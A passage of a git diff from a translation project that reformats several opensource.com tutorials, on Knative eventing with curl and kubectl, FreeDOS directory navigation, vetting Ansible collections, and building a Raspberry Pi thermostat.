Content-Length: 0 ``` Congratulations, you sent two events! @@ -438,14 +412,12 @@ Now that the events have been sent, how do you know that the correct consumers r Start with the **hello-display** consumer:: - ``` -`$ kubectl -n eventing-test logs -l app=hello-display --tail=100` +$ kubectl -n eventing-test logs -l app=hello-display --tail=100 ``` There isn't much running in this example cluster, so you should see only one event: - ``` ☁️  cloudevents.Event Validation: valid @@ -467,7 +439,6 @@ You've confirmed the **hello-display** consumer received the event! Now check th Start by running the same command but with **goodbye-display**: - ``` $ kubectl -n eventing-test logs -l app=goodbye-display --tail=100 ☁️  cloudevents.Event @@ -494,9 +465,8 @@ So you sent events to each consumer using curl, but what if you want to send an Here is a curl example of a definition for sending an event to both consumers: - ``` -curl -v "" \ +curl -v "http://broker-ingress.knative-eventing.svc.cluster.local/eventing-test/default" \   -X POST \   -H "Ce-Id: say-hello-goodbye" \   -H "Ce-Specversion: 1.0" \ @@ -512,27 +482,25 @@ Here is sample output of what the events look like after they are sent. **Output of the event being sent:** - ``` -> POST /eventing-test/default HTTP/1.1 -> User-Agent: curl/7.35.0 -> Host: broker-ingress.knative-eventing.svc.cluster.local -> Accept: */* -> Ce-Id: say-hello-goodbye -> Ce-Specversion: 1.0 -> Ce-Type: greeting -> Ce-Source: sendoff -> Content-Type: application/json -> Content-Length: 41 -> -< HTTP/1.1 202 Accepted -< Date: Sun, 24 Jan 2021 23:04:15 GMT -< Content-Length: 0 +> POST /eventing-test/default HTTP/1.1 +> User-Agent: curl/7.35.0 +> Host: broker-ingress.knative-eventing.svc.cluster.local +> Accept: */* +> Ce-Id: say-hello-goodbye +> Ce-Specversion: 1.0 +> Ce-Type: greeting +> Ce-Source: sendoff +> Content-Type: application/json +> Content-Length: 41 +> +< HTTP/1.1 202 Accepted +< Date: Sun, 24 Jan 2021 23:04:15 GMT +< Content-Length: 0 ``` **Output of hello-display (showing two events):** - ``` $ kubectl -n eventing-test logs -l app=hello-display --tail=100 ☁️  cloudevents.Event @@ -567,7 +535,6 @@ Data, **Output of goodbye-display (also with two events):** - ``` $ kubectl -n eventing-test logs -l app=goodbye-display --tail=100 ☁️  cloudevents.Event @@ -611,15 +578,15 @@ Internal eventing in cloud events is pretty easy to track if it's going to a pre via: https://opensource.com/article/21/2/knative-eventing 作者:[Jessica Cherry][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_space_graphic_cosmic.png?itok=wu493YbB (Computer laptop in space) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/computer_space_graphic_cosmic.png [2]: https://opensource.com/article/20/11/knative [3]: https://opensource.com/resources/what-is-kubernetes [4]: https://en.wikipedia.org/wiki/Cloud_native_computing diff --git a/sources/tech/20210226 Navigate your FreeDOS system.md b/sources/tech/20210226 Navigate your FreeDOS system.md index 9397e73e2b..c80a601bbb 100644 --- a/sources/tech/20210226 Navigate your FreeDOS system.md +++ b/sources/tech/20210226 Navigate your FreeDOS system.md @@ -1,15 +1,16 @@ -[#]: subject: (Navigate your FreeDOS system) -[#]: via: (https://opensource.com/article/21/2/freedos-dir) -[#]: author: (Kevin O'Brien https://opensource.com/users/ahuka) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Navigate your FreeDOS system" +[#]: via: "https://opensource.com/article/21/2/freedos-dir" +[#]: author: "Kevin O'Brien https://opensource.com/users/ahuka" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Navigate your FreeDOS system ====== Master the DIR command to navigate your way around FreeDOS. + ![A map with a route highlighted][1] [FreeDOS][2] is an open source implementation of DOS. It's not a remix of Linux, and it is compatible with the operating system that introduced many people to personal computing. This makes it an important resource for running legacy applications, playing retro games, updating firmware on motherboards, and experiencing a little bit of living computer history. In this article, I'll look at some of the essential commands used to navigate a FreeDOS system. @@ -22,7 +23,6 @@ There are many reasons not to work exclusively in your root directory. First of The FreeDOS `CD` command changes your current working subdirectory to another subdirectory. Imagine a computer with the following directory structure: - ``` C:\   \LETTERS\   @@ -34,48 +34,43 @@ C:\   \SCHOOL\ ``` -You start in the `C:\` directory, so to navigate to your love letter directory, you can use `CD`: - +You start in the `C:\` directory, so to navigate to your love letter directory, you can use `CD` : ``` -`C:\>CD \LETTERS\LOVE\` +C:\>CD \LETTERS\LOVE\ ``` -To navigate to your `\LETTERS\BUSINESS` directory, you must specify the path to your business letters from a common fixed point on your filesystem. The most reliable starting location is `C:\`, because it's where _everything_ on your computer is stored. - +To navigate to your `\LETTERS\BUSINESS` directory, you must specify the path to your business letters from a common fixed point on your filesystem. The most reliable starting location is `C:\`, because it's where *everything* on your computer is stored. ``` -`C:\LETTERS\LOVE\>CD C:\LETTERS\BUSINESS` +C:\LETTERS\LOVE\>CD C:\LETTERS\BUSINESS ``` #### Navigating with dots -There's a useful shortcut for navigating your FreeDOS system, which takes the form of dots. Two dots (`..`) tell FreeDOS you want to move "back" or "down" in your directory tree. For instance, the `LETTERS` directory in this example system contains one subdirectory called `LOVE` and another called `BUSINESS`. If you're in `LOVE` currently, and you want to step back and change over to `BUSINESS`, you can just use two dots to represent that move: - +There's a useful shortcut for navigating your FreeDOS system, which takes the form of dots. Two dots (`..` ) tell FreeDOS you want to move "back" or "down" in your directory tree. For instance, the `LETTERS` directory in this example system contains one subdirectory called `LOVE` and another called `BUSINESS`. If you're in `LOVE` currently, and you want to step back and change over to `BUSINESS`, you can just use two dots to represent that move: ``` -C:\LETTERS\LOVE\>CD ..\BUSINESS -C:\LETTERS\BUSINESS\> +C:\LETTERS\LOVE\>CD ..\BUSINESS +C:\LETTERS\BUSINESS\> ``` To get all the way back to your root directory, just use the right number of dots: - ``` -C:\LETTERS\BUSINESS\: CD ..\\.. -C:\> +C:\LETTERS\BUSINESS\: CD ..\.. +C:\> ``` #### Navigational shortcuts -There are some shortcuts for navigating directories, too.  +There are some shortcuts for navigating directories, too. To get back to the root directory from wherever you are: - ``` -C:\LETTERS\BUSINESS\>CD \ -C:\> +C:\LETTERS\BUSINESS\>CD \ +C:\> ``` ### List directory contents with DIR @@ -84,9 +79,8 @@ The `DIR` command displays the contents of a subdirectory, but it can also funct `DIR` displays the contents of the current working subdirectory, and with an optional path argument, it displays the contents of some other subdirectory: - ``` -C:\LETTERS\BUSINESS\>DIR +C:\LETTERS\BUSINESS\>DIR MTG_CARD    TXT  1344 12-29-2020  3:06p NON         TXT   381 12-31-2020  8:12p SOMUCHFO    TXT   889 12-31-2020  9:36p @@ -97,49 +91,49 @@ TEST        BAT    32 01-03-2021 10:34a With a special attribute argument, you can use `DIR` to find and filter out certain kinds of files. There are 10 attributes you can specify: -`H` | Hidden ----|--- -`-H` | Not hidden -`S` | System -`-S` | Not system -`A` | Archivable files -`-A` | Already archived files -`R` | Read-only files -`-R` | Not read-only (i.e., editable and deletable) files -`D` | Directories only, no files -`-D` | Files only, no directories +| - | - | +| :- | :- | +| H | Hidden | +| -H | Not hidden | +| S | System | +| -S | Not system | +| A | Archivable files | +| -A | Already archived files | +| R | Read-only files | +| -R | Not read-only (i.e., editable and deletable) files | +| D | Directories only, no files | +| -D | Files only, no directories | These special designators are denoted with `/A:` followed by the attribute letter. You can enter as many attributes as you like, in order, without leaving a space between them. For instance, to view only hidden directories: - ``` -C:\MEMOS\>DIR /A:HD -.OBSCURE    <DIR>  01-08-2021 10:10p +C:\MEMOS\>DIR /A:HD +.OBSCURE      01-08-2021 10:10p ``` #### Listing in order You can also display the results of your `DIR` command in a specific order. The syntax for this is very similar to using attributes. You leave a space after the `DIR` command or after any other switches, and enter `/O:` followed by a selection. There are 12 possible selections: -`N` | Alphabetical order by file name ----|--- -`-N` | Reverse alphabetical order by file name -`E` | Alphabetical order by file extension -`-E` | Reverse alphabetical order by file extension -`D` | Order by date and time, earliest first -`-D` | Order by date and time, latest first -`S` | By size, increasing -`-S` | By size, decreasing -`C` | By [DoubleSpace][3] compression ratio, lowest to highest (version 6.0 only) -`-C` | By DoubleSpace compression ratio, highest to lowest (version 6.0 only) -`G` | Group directories before other files -`-G` | Group directories after other files +| - | - | +| :- | :- | +| N | Alphabetical order by file name | +| -N | Reverse alphabetical order by file name | +| E | Alphabetical order by file extension | +| -E | Reverse alphabetical order by file extension | +| D | Order by date and time, earliest first | +| -D | Order by date and time, latest first | +| S | By size, increasing | +| -S | By size, decreasing | +| C | By DoubleSpace compression ratio, lowest to highest (version 6.0 only) | +| -C | By DoubleSpace compression ratio, highest to lowest (version 6.0 only) | +| G | Group directories before other files | +| -G | Group directories after other files | To see your directory listing grouped by file extension: - ``` -C:\>DIR /O:E +C:\>DIR /O:E TEST        BAT 01-10-2021 7:11a TIMER       EXE 01-11-2021 6:06a AAA         TXT 01-09-2021 4:27p @@ -149,9 +143,8 @@ This returns a list of files in alphabetical order of file extension. If you're looking for a file you were working on yesterday, you can order by modification time: - ``` -C:\>DIR /O:-D +C:\>DIR /O:-D AAA         TXT 01-09-2021 4:27p TEST        BAT 01-10-2021 7:11a TIMER       EXE 01-11-2021 6:06a @@ -163,12 +156,11 @@ If you need to clean up your hard drive because you're running out of space, you You can use multiple arguments in a `DIR` command to achieve fairly complex results. Remember that each argument has to be separated from its neighbors by a blank space on each side: - ``` -`C:\>DIR /A:A /O:D /P` +C:\>DIR /A:A /O:D /P ``` -This command selects only those files that have not yet been backed up (`/A:A`), orders them by date, beginning with the oldest (`/O:D`), and displays the results on your monitor one page at a time (`/P`). So you can really do some slick stuff with the `DIR` command once you've mastered these arguments and switches. +This command selects only those files that have not yet been backed up (`/A:A` ), orders them by date, beginning with the oldest (`/O:D` ), and displays the results on your monitor one page at a time (`/P` ). So you can really do some slick stuff with the `DIR` command once you've mastered these arguments and switches. ### Terminology @@ -180,24 +172,21 @@ If it has a slash in front, it is a switch. So all switches are also arguments, FreeDOS can be very different from what you're used to if you're used to Windows or macOS, and it can be just different enough if you're used to Linux. A little practice goes a long way, though, so try some of these on your own. You can always get a help message with the `/?` switch. The best way to get comfortable with these commands is to practice using them. -* * * - -_Some of the information in this article was previously published in [DOS lesson 12: Expert DIR use][4] (CC BY-SA 4.0)._ +*Some of the information in this article was previously published in [DOS lesson 12: Expert DIR use][3] (CC BY-SA 4.0).* -------------------------------------------------------------------------------- via: https://opensource.com/article/21/2/freedos-dir 作者:[Kevin O'Brien][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/ahuka -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/map_route_location_gps_path.png?itok=RwtS4DsU (A map with a route highlighted) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/map_route_location_gps_path.png [2]: https://www.freedos.org/ -[3]: https://en.wikipedia.org/wiki/DriveSpace -[4]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-12-expert-dir-use/ +[3]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-12-expert-dir-use/ diff --git a/sources/tech/20210301 5 tips for choosing an Ansible collection that-s right for you.md b/sources/tech/20210301 5 tips for choosing an Ansible collection that-s right for you.md index 5d7b220c05..1b9bd5eea2 100644 --- a/sources/tech/20210301 5 tips for choosing an Ansible collection that-s right for you.md +++ b/sources/tech/20210301 5 tips for choosing an Ansible collection that-s right for you.md @@ -1,17 +1,19 @@ -[#]: subject: (5 tips for choosing an Ansible collection that's right for you) -[#]: via: (https://opensource.com/article/21/3/ansible-collections) -[#]: author: (Tadej Borovšak https://opensource.com/users/tadeboro) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "5 tips for choosing an Ansible collection that's right for you" +[#]: via: "https://opensource.com/article/21/3/ansible-collections" +[#]: author: "Tadej Borovšak https://opensource.com/users/tadeboro" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " 5 tips for choosing an Ansible collection that's right for you ====== -Try these strategies to find and vet collections of Ansible plugins and -modules before you install them. -![Woman sitting in front of her computer][1] +Try these strategies to find and vet collections of Ansible plugins and modules before you install them. + +![Women in computing and open source][1] + +Image by: Ray Smith In August 2020, Ansible issued its first release since the developers split the core functionality from the vast majority of its modules and plugins. A few [basic Ansible modules][2] remain part of core Ansible—modules for templating configuration files, managing services, and installing packages. All the other modules and plugins found their homes in dedicated [Ansible collections][3]. @@ -25,7 +27,6 @@ With the introduction of Ansible collections, [Ansible Galaxy][7] became the cen Ansible comes bundled with the `ansible-galaxy` tool for installing collections. Once you know what Ansible collection you want to install, things are relatively straightforward: Run the installation command listed on the Ansible Galaxy page. Ansible takes care of downloading and installing it. For example: - ``` $ ansible-galaxy collection install sensu.sensu_go Process install dependency map @@ -44,7 +45,7 @@ The ability to install Ansible collections offered a lot more control over the c Now users are solely responsible for the quality of content they use to build Ansible playbooks. But how can you separate high-quality content from the rest? Here are five things to check when evaluating an Ansible collection. -#### 1\. Documentation +#### 1. Documentation Once you find a potential candidate on Ansible Galaxy, check its documentation first. In an ideal world, each Ansible collection would have a dedicated documentation site. For example, the [Sensu Go][8] and [F5 Networks][9] Ansible collections have them. Most other Ansible collections come only with a README file, but this will change for the better once the documentation tools mature. @@ -52,10 +53,9 @@ The Ansible collection's documentation should contain at least a quickstart tuto Another essential part of the documentation is a detailed module, plugin, and role reference guide. Collection authors do not always publish those guides on the internet, but they should always be accessible with the `ansible-doc` tool. - ``` $ ansible-doc community.sops.sops_encrypt -> SOPS_ENCRYPT    (/home/tadej/.ansible/collections/ansible> +> SOPS_ENCRYPT    (/home/tadej/.ansible/collections/ansible>         Allows to encrypt binary data (Base64 encoded), text         data, JSON or YAML data with sops. @@ -63,7 +63,7 @@ $ ansible-doc community.sops.sops_encrypt   * This module is maintained by The Ansible Community OPTIONS (= is mandatory): -\- attributes +- attributes         The attributes the resulting file or directory should         have.         To get supported flags look at the man page for @@ -78,18 +78,17 @@ OPTIONS (= is mandatory): ... ``` -#### 2\. Playbook readability +#### 2. Playbook readability An Ansible playbook should serve as a human-readable description of the desired state. To achieve that, modules from the Ansible collection under evaluation should have a consistent user interface and descriptive parameter names. For example, if Ansible modules interact with a web service, authentication parameters should be separated from the rest. And all modules should use the same authentication parameters if possible. - ``` -\- name: Create a check that runs every 30 seconds +- name: Create a check that runs every 30 seconds   sensu.sensu_go.check: -    auth: &auth -      url: +    auth: &auth +      url: https://my.sensu.host:8080       user: demo       password: demo-pass     name: check @@ -97,36 +96,34 @@ For example, if Ansible modules interact with a web service, authentication para     interval: 30     publish: true -\- name: Create a filter +- name: Create a filter   sensu.sensu_go.filter: -    # Reuse the authentication data from before +     # Reuse the authentication data from before     auth: *auth     name: filter     action: deny     expressions: -      - event.check.interval == 10 +       - event.check.interval == 10       - event.check.occurrences == 1 ``` -#### 3\. Basic functionality +#### 3. Basic functionality Before you start using third-party Ansible content in production, always check each Ansible module's basic functionality. Probably the most critical property to look for is the result. Ansible modules and roles that enforce a state are much easier to use than their action-executing counterparts. This is because you can update your Ansible playbook and rerun it without risking a significant breakage. - ``` -\- name: Command module executes an action -> fails on re-run +- name: Command module executes an action -> fails on re-run   ansible.builtin.command: useradd demo -\- name: User module enforces a state -> safe to re-run +- name: User module enforces a state -> safe to re-run   ansible.builtin.user:     name: demo ``` You should also expect support for [check mode][12], which simulates the change without making it. If you combine check mode with state enforcement, you get a configuration drift detector for free. - ``` $ ansible-playbook --check playbook.yaml @@ -142,11 +139,11 @@ host        : ok=5    changed=2    unreachable=0    failed=0                       skipped=3        rescued=0   ignored=0 ``` -#### 4\. Implementation robustness +#### 4. Implementation robustness A robustness check is a bit harder to perform if you've never developed an Ansible module or role before. Checking the continuous integration/continuous delivery (CI/CD) configuration files should give you a general idea of what is tested. Finding `ansible-test` and `molecule` commands in the test suite is an excellent sign. -#### 5\. Maintenance +#### 5. Maintenance During your evaluation, you should also take a look at the issue tracker and development activity. Finding old issues with no response from maintainers is one sign of a poorly maintained Ansible collection. @@ -163,15 +160,15 @@ If you are thinking about creating your own Ansible Collection, you can download via: https://opensource.com/article/21/3/ansible-collections 作者:[Tadej Borovšak][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/tadeboro -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_3.png?itok=qw2A18BM (Woman sitting in front of her computer) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/OSDC_women_computing_3.png [2]: https://docs.ansible.com/ansible/latest/collections/ansible/builtin/ [3]: https://docs.ansible.com/ansible/latest/collections/index.html#list-of-collections [4]: https://galaxy.ansible.com/sensu/sensu_go diff --git a/sources/tech/20210301 Build a home thermostat with a Raspberry Pi.md b/sources/tech/20210301 Build a home thermostat with a Raspberry Pi.md index 434e6a5796..35ec8b7951 100644 --- a/sources/tech/20210301 Build a home thermostat with a Raspberry Pi.md +++ b/sources/tech/20210301 Build a home thermostat with a Raspberry Pi.md @@ -1,36 +1,34 @@ -[#]: subject: (Build a home thermostat with a Raspberry Pi) -[#]: via: (https://opensource.com/article/21/3/thermostat-raspberry-pi) -[#]: author: (Joe Truncale https://opensource.com/users/jtruncale) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Build a home thermostat with a Raspberry Pi" +[#]: via: "https://opensource.com/article/21/3/thermostat-raspberry-pi" +[#]: author: "Joe Truncale https://opensource.com/users/jtruncale" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Build a home thermostat with a Raspberry Pi ====== -The ThermOS project is an answer to the many downsides of off-the-shelf -smart thermostats. +The ThermOS project is an answer to the many downsides of off-the-shelf smart thermostats. + ![Orange home vintage thermostat][1] -My wife and I moved into a new home in October 2020. As soon as it started getting cold, we realized some shortcomings of the home's older heating system (including one heating zone that was _always_ on). We had Nest thermostats in our previous home, and the current setup was not nearly as convenient. There are multiple thermostats in our house, and some had programmed heating schedules, others had different schedules, some had none at all. +Image by: Photo by [Moja Msanii][2] on [Unsplash][3] -![Old thermostats][2] +My wife and I moved into a new home in October 2020. As soon as it started getting cold, we realized some shortcomings of the home's older heating system (including one heating zone that was *always* on). We had Nest thermostats in our previous home, and the current setup was not nearly as convenient. There are multiple thermostats in our house, and some had programmed heating schedules, others had different schedules, some had none at all. -The home's previous owner left notes explaining how some of the thermostats worked. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Old thermostats][4] + +The home's previous owner left notes explaining how some of the thermostats worked. (Joseph Truncale, CC BY-SA 4.0) It was time for a change, but the house has some constraints: - * It was built in the late 1960s with a renovation during the '90s. - * The heat is hydronic (hot water baseboard). - * It has six thermostats for the six heating zones. - * There are only two wires that go to each thermostat for heat (red and white). +* It was built in the late 1960s with a renovation during the '90s. +* The heat is hydronic (hot water baseboard). +* It has six thermostats for the six heating zones. +* There are only two wires that go to each thermostat for heat (red and white). - - -![Furnace valves][4] - -Taco (pronounced TAY-KO) zone valves at the furnace. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Furnace valves][5] ### To buy or to build? @@ -38,36 +36,29 @@ I wanted "smart" thermostat control for all of the heat zones (schedules, automa **Option 1: A Nest or Ecobee** - * It's expensive: No smart thermostat can handle multiple zones, so I would need one for each zone (~$200*6 = $1,200). - * It's difficult: I would have to rerun the thermostat wire to get the infamous [C wire][5], which enables continuous power to the thermostat. The wires are 20 to 100 feet each, in-wall, and _might_ be stapled to the studs. +* It's expensive: No smart thermostat can handle multiple zones, so I would need one for each zone (~$200*6 = $1,200). +* It's difficult: I would have to rerun the thermostat wire to get the infamous [C wire][6], which enables continuous power to the thermostat. The wires are 20 to 100 feet each, in-wall, and might be stapled to the studs. +**Option 2: A battery-powered thermostat** such as the [Sensi WiFi thermostat][7] +* The batteries last only a month or two. +* It's not HomeKit-compatible in battery-only mode. -**Option 2: A battery-powered thermostat** such as the [Sensi WiFi thermostat][6] +**Option 3: A commercial-off-the-shelf thermostat**, but only one exists (kind of): [Honeywell's TrueZONE][8] - * The batteries last only a month or two. - * It's not HomeKit-compatible in battery-only mode. +* It's old and poorly supported (it was released in 2008). +* It's expensive—more than $300 for just the controller, and you need a [RedLINK gateway][9] for a shoddy app to work. - - -**Option 3: A commercial-off-the-shelf thermostat**, but only one exists (kind of): [Honeywell's TrueZONE][7]  - - * It's old and poorly supported (it was released in 2008). - * It's expensive—more than $300 for just the controller, and you need a [RedLINK gateway][8] for a shoddy app to work. - - - -And the winner is…  +And the winner is… **Option 4: Build my own!** -I decided to build my own multizone smart thermostat, which I named [ThermOS][9]. - - * It's centralized at the furnace (you need one device, not six). - * It uses the existing in-wall thermostat wires. - * It's HomeKit compatible, complete with automation, scheduling, home/away, etc. - * Anddddd it's… fun? Yeah, fun… I think. +I decided to build my own multizone smart thermostat, which I named [ThermOS][10]. +* It's centralized at the furnace (you need one device, not six). +* It uses the existing in-wall thermostat wires. +* It's HomeKit compatible, complete with automation, scheduling, home/away, etc. +* Anddddd it's… fun? Yeah, fun… I think. ### The ThermOS hardware @@ -75,79 +66,62 @@ I knew that I wanted to use a Raspberry Pi. Since they've gotten so inexpensive, Here's a full list of the parts I used: -Name | Quantity | Price ----|---|--- -Raspberry Pi 4 Model B 2GB | 1 | $29.99 -Raspberry Pi 4 official 15W power supply | 1 | $6.99 -Inland 400 tie-point breadboard | 1 | $2.99 -Inland 8 channel 5V relay module for Arduino | 1 | $8.99 -Inland DuPont jumper wire 20cm (3 pack) | 1 | $4.99 -DS18B20 temperature sensor (genuine) from Mouser.com | 6 | $6.00 -3-pin screw terminal blocks (40 pack) | 1 | $7.99 -RPi GPIO terminal block breakout board module for Raspberry Pi | 1 | $17.99 -Alligator clip test leads (10 pack) | 1 | $5.89 -Southwire 18/2 thermostat wire (50ft) | 1 | $10.89 -Shrinkwrap | 1 | $4.99 -Solderable breadboard (5 pack) | 1 | $11.99 -PCB mounting brackets (50 pack) | 1 | $7.99 -Plastic housing/enclosure | 1 | $27.92 +| Name | Quantity | Price | +| :- | :- | :- | +| Raspberry Pi 4 Model B 2GB | 1 | $29.99 | +| Raspberry Pi 4 official 15W power supply | 1 | $6.99 | +| Inland 400 tie-point breadboard | 1 | $2.99 | +| Inland 8 channel 5V relay module for Arduino | 1 | $8.99 | +| Inland DuPont jumper wire 20cm (3 pack) | 1 | $4.99 | +| DS18B20 temperature sensor (genuine) from Mouser.com | 6 | $6.00 | +| 3-pin screw terminal blocks (40 pack) | 1 | $7.99 | +| RPi GPIO terminal block breakout board module for Raspberry Pi | 1 | $17.99 | +| Alligator clip test leads (10 pack) | 1 | $5.89 | +| Southwire 18/2 thermostat wire (50ft) | 1 | $10.89 | +| Shrinkwrap | 1 | $4.99 | +| Solderable breadboard (5 pack) | 1 | $11.99 | +| PCB mounting brackets (50 pack) | 1 | $7.99 | +| Plastic housing/enclosure | 1 | $27.92 | -I began drawing out the hardware diagram on [draw.io][10] and realized I lacked some crucial knowledge about the furnace. I opened the side panel and found the step-down transformer that takes the 120V electrical line and makes it 24V for the heating system. If your heating system is anything like mine, you'll see a lot of jumper wires between the Taco zone valves. Terminal 3 on the Taco is jumped across all of my zone valves. This is because it doesn't matter how many valves are on/open—it just controls the circulator pump. If any combination of one to five valves is open, it should be on; if no valves are open, it should be off… simple! +I began drawing out the hardware diagram on [draw.io][11] and realized I lacked some crucial knowledge about the furnace. I opened the side panel and found the step-down transformer that takes the 120V electrical line and makes it 24V for the heating system. If your heating system is anything like mine, you'll see a lot of jumper wires between the Taco zone valves. Terminal 3 on the Taco is jumped across all of my zone valves. This is because it doesn't matter how many valves are on/open—it just controls the circulator pump. If any combination of one to five valves is open, it should be on; if no valves are open, it should be off… simple! -![Furnace wiring architecture][11] - -ThermOS architecture using one zone. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Furnace wiring architecture][12] At its core, a thermostat is just a type of switch. Once the thermistor (temp sensor) inside the thermostat detects a lower temperature, the switch closes and completes the 24V circuit. Instead of having a thermostat in every room, this project keeps all of them right next to the furnace so that all six-zone valves can be controlled by a relay module using six of the eight relays. The Raspberry Pi acts as the brains of the thermostat and controls each relay independently. -![Manually setting relays using Raspberry Pi and Python][12] - -Manually setting the relays using the Raspberry Pi and Python. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Manually setting relays using Raspberry Pi and Python][13] The next problem was how to get temperature readings from each room. I could have a wireless temperature sensor in each room running on an Arduino or Raspberry Pi, but that can get expensive and complicated. Instead, I wanted to reuse the existing thermostat wire in the walls but purely for temperature sensors. -The "1-wire" [DS18B20][13] temperature sensor appeared to fit the bill: +The "1-wire" [DS18B20][14] temperature sensor appeared to fit the bill: - * It has an accuracy of +/- 0.5°C or 0.9°F. - * It uses the "1-wire" protocol for data. - * Most importantly, the DS18B20 can use "[parasitic power][14]" mode where it needs just two wires for power and data. Just a heads up… almost all of the DS18B20s out there are [counterfeit][15]. I purchased a few (hoping they were genuine), but they wouldn't work when I tried to use parasitic power. I then bought real ones from [Mouser.com][16], and they worked like a charm! +* It has an accuracy of +/- 0.5°C or 0.9°F. +* It uses the "1-wire" protocol for data. +* Most importantly, the DS18B20 can use "[parasitic power][15]" mode where it needs just two wires for power and data. Just a heads up… almost all of the DS18B20s out there are [counterfeit][16]. I purchased a few (hoping they were genuine), but they wouldn't work when I tried to use parasitic power. I then bought real ones from [Mouser.com][17], and they worked like a charm! +![Temperature sensors][18] +Starting with a breadboard and all the components locally, I started writing code to interact with all of it. Once I proved out the concept, I added the existing in-wall thermostat wire into the mix. I got consistent readings with that setup, so I set out to make them a bit more polished. With help from my [dad][19], the self-proclaimed "just good enough" solderer, we soldered leads to the three-pin screw terminals (to avoid overheating the sensor) and then attached the sensor into the terminals. Now the sensors can be attached with wire nuts to the existing in-wall wiring. -![Temperature sensors][17] - -Three DS18B20s connected using parasitic power on the same GPIO bus. (Joseph Truncale, [CC BY-SA 4.0][3]) - -Starting with a breadboard and all the components locally, I started writing code to interact with all of it. Once I proved out the concept, I added the existing in-wall thermostat wire into the mix. I got consistent readings with that setup, so I set out to make them a bit more polished. With help from my [dad][18], the self-proclaimed "just good enough" solderer, we soldered leads to the three-pin screw terminals (to avoid overheating the sensor) and then attached the sensor into the terminals. Now the sensors can be attached with wire nuts to the existing in-wall wiring. - -![Attaching temperature sensors][19] - -The DS18B20s are attached to the old thermostat location using the existing wires. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Attaching temperature sensors][20] I'm still in the process of "prettifying" my temperature sensor wall mounts, but I've gone through a few 3D printing revisions, and I think I'm almost there. -![Wall mounts][20] - -I started with a Nest-style mount and made my way to a flush-mount style. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Wall mounts][21] ### The ThermOS software -As usual, writing the logic wasn't the hard part. However, deciding on the application architecture and framework was a confusing, multi-day process. I started out evaluating open source projects like [PiHome][21], but it relied on specific hardware _and_ was written in PHP. I'm a Python fan and decided to start from scratch and write my own REST API. +As usual, writing the logic wasn't the hard part. However, deciding on the application architecture and framework was a confusing, multi-day process. I started out evaluating open source projects like [PiHome][22], but it relied on specific hardware *and* was written in PHP. I'm a Python fan and decided to start from scratch and write my own REST API. -Since HomeKit integration was so important, I figured I would eventually write a [HomeBridge][22] plugin to integrate it. I didn't realize that there was an entire Python HomeKit framework called [HAP-Python][23] that implements the accessory protocol. It helped me get a proof of concept running and controlled through my iPhone's Home app within 30 minutes. +Since HomeKit integration was so important, I figured I would eventually write a [HomeBridge][23] plugin to integrate it. I didn't realize that there was an entire Python HomeKit framework called [HAP-Python][24] that implements the accessory protocol. It helped me get a proof of concept running and controlled through my iPhone's Home app within 30 minutes. -![ThermOS HomeKit integration][24] +![ThermOS HomeKit integration][25] -Initial version of Apple HomeKit integration, with help from the HAP-Python framework. (Joseph Truncale, [CC BY-SA 4.0][3]) - -![ThermOS software architecture][25] - -ThermOS software architecture (Joseph Truncale, [CC BY-SA 4.0][3]) +![ThermOS software architecture][26] The rest of the "temp" logic is relatively straightforward, but I do want to highlight a piece that I initially missed. My code was running for a few days, and I was working on the hardware, when I noticed that my relays were turning on and off every few seconds. This "short-cycling" isn't necessarily harmful, but it certainly isn't efficient. To avoid that, I added some thresholding to make sure the heat toggles only when it's +/- 0.5C°. -Here is the threshold logic (you can see the [rubber-duck debugging][26] in the comments): - +Here is the threshold logic (you can see the [rubber-duck debugging][27] in the comments): ``` # check that we want heat @@ -155,7 +129,7 @@ if self.target_state.value == 1:     # if heat relay is already on, check if above threshold     # if above, turn off .. if still below keep on     if GPIO.input(self.relay_pin): -        if self.current_temp.value - self.target_temp.value >= 0.5: +        if self.current_temp.value - self.target_temp.value >= 0.5:             status = 'HEAT ON - TEMP IS ABOVE TOP THRESHOLD, TURNING OFF'             GPIO.output(self.relay_pin, GPIO.LOW)         else: 